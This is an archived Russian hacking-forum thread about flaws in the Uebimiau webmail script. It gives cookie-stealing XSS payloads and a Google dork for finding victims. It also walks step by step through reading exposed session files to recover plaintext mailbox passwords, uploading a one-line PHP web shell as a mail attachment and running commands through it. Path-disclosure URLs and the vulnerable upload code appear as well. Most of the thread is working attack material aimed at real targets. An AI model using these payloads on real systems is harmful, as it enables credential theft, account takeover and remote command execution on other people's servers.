PDA

Просмотр полной версии : Пассивная XSS в Uebimiau V2.7.10 и более ранних версиях


1ten0.0net1
01.09.2007, 19:27
Самая простецкая пассивная XSS в параметре $f_email сценария index.php. Уязвимость существует из-за отсутсвия фильтрации указанного выше параметра:
index.php:
$smarty->display("$selected_theme/login.htm");
файл login.htm (шаблон):
<input type="text" name="f_email" value="{$umEmail}" class="normal" style="width: 140px; border: 1 solid #7F9DB9;">


Пример:
http://old.antichat.ru/webmail/index.php
POST: f_email="><script>alert(document.cookie)</script> (да простят меня вышестоящие =))

P. S. Версию можно узнать из файла
http://site.com/mail/docs/CHANGELOG.txt
Нашел также раскрытие пути в этом же параметре, когда несколько раз менял значение фунции alert(). Почему работает пока не разобрался, но кажется что-то из-за значения поля Referer.

fly
01.09.2007, 20:45
Google: allintitle: UebiMiau

Получаем Shell через UebiMiau Mail Script

Сразу подмечу, что не все системы уязвимы ... всё зависит от администратора сервера, ну и, конечно же, от настройки скрипта.

Способ получение шелла:

1. Идём в Google и пишем: allintitle: UebiMiau
2. Нашёл жертву: http://webmail.victom.com/mail/
3. Пишем:
http://webmail.victim.com/mail/database/_sessions

4. Если он эту папку откроет, то там наверни, будет файл с длинны названием
{40DD724C8FE70-40DD724C8FE84-1088254540}.usf , открываем его там будет
закодирован в текст в base64
5. декодируем base64
6. Когда разкодируем, получим сессию скрипта:

[..] a:9:{s:5:"email";s:13:"info@victim.com";s:4:"user";s:3:"info";s:4:"pass";s:3:"abc123";s:6:"server";s [.] [...] s:67:"./database/info_victom.com/trash/236c1dc93c840d1194964cbc8a45ad15.eml"; [..]

Как видна, мы получили логин и пароль от мэйла..
Логин: info
Пароль: abc123
7. Заходим на майл жертвы http://webmail.victom.com/mail/
- создаём новоё письмо (Write E-Mail), и добавляем файл: (Attach new file)
- зарания создаём файл shell.php с содержимым <? passthru($_GET['cmd]);?>
8. Когда добавили файл, болше нечего не надо делать (в смысле не надо заполнять остальные окна и не надо жать не каких кнопок.)
9. Проста, открываем новоё окно browsera, и пишем
http://webmail.victim.com/mail/database/info_victom.com/_attachments

10. Там будет наш файл тока перед ним будет md5. типа так: a7fab2f55de08ab5c4bf23444cd676bbshell.php

11. Мы не думая, пищим:

http://webmail.victim.com/mail/database/info_victom.com/_attachments/a7fab2f55de08ab5c4bf23444cd676bbshell.php?cmd=mv a7fab2f55de08ab5c4bf23444cd676bbshell.php shell.php

- эта для того, что бы избежать пропадания файла.. иначе он пропадёт..

Ну и в заключение - у нас появился полноценный Shell
http://webmail.victim.com/mail/database/info_victom.com/_attachments/shell.php?cmd=id

1ten0.0net1
01.09.2007, 20:54
Да, все это так. Только:
1) На последних версиях это не работает;
2) Индексация директорий, необходимая для атаки - тоже не самая частая вещь =(;
2) Умные админы (например, на g6 - так) вообще 301 ставят на эту директорию.

fly
01.09.2007, 20:59
Да , а когда то это был полный болт!

l1ght
04.11.2008, 21:26
оказалось не 1ый '(
1. не обязательно post
http://old.antichat.ru/webmail/index.php?f_email=">xeka
2.ещё xss
http://old.antichat.ru/webmail/badlogin.php?error=<script>confirm(/xeka/)</script>
3. пути

http://old.antichat.ru/webmail/index.php?tid[]=
http://old.antichat.ru/webmail/inc/inc.php
http://old.antichat.ru/webmail/inc/config.php

4.заливка шелла актуальна на ласт.ревах

...
elseif (is_uploaded_file($userfile) || is_uploaded_file($userfile["tmp_name"])) {
$userfile_name = $userfile["name"];
$userfile_type = $userfile["type"];
$userfile_size = $userfile["size"];
$userfile = $userfile["tmp_name"];
}
...
$filename = $userfolder."_attachments/".md5(uniqid("")).$userfile_name;

move_uploaded_file($userfile, $filename);